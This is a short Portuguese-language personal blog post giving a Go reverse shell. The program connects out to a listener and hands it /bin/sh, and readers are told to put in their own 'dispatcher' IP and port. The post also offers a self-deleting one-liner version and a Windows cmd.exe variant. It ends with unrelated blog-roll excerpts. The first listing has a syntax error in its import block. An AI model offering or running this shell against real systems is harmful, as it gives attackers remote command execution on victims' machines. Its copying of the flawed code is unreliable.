umgeher's changelog

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

Articles from blogs I follow around the net

OpenBSD 7.7 Released

The OpenBSD project has announced OpenBSD 7.7, its 58th release. The new release contains a number of significant improvements, including but certainly not limited to: Multiple SMP improvements have been made. TCP output and TCP timers now run in parallel. Only TC…

via OpenBSD Journal 2025-04-27 18:30

Running repl commands in cider (emacs)

Ok, I will admit.. this took a while. But I have found a nice way of doing this. What is this? Well, let’s say let’s say that you have a command to start your server in user namespace. With this cool feature, now you can run this with a emacs command (or s…

via Lucas E M M. opinions 2025-04-23 19:46

Resistance from the tech sector

As of late, most of us have been reading the news with a sense of anxious trepidation. At least, those of us who read from a position of relative comfort and privilege. Many more read the news with fear. Some of us are already no longer in a position to read…

via Drew DeVault's blog 2025-04-20 00:00

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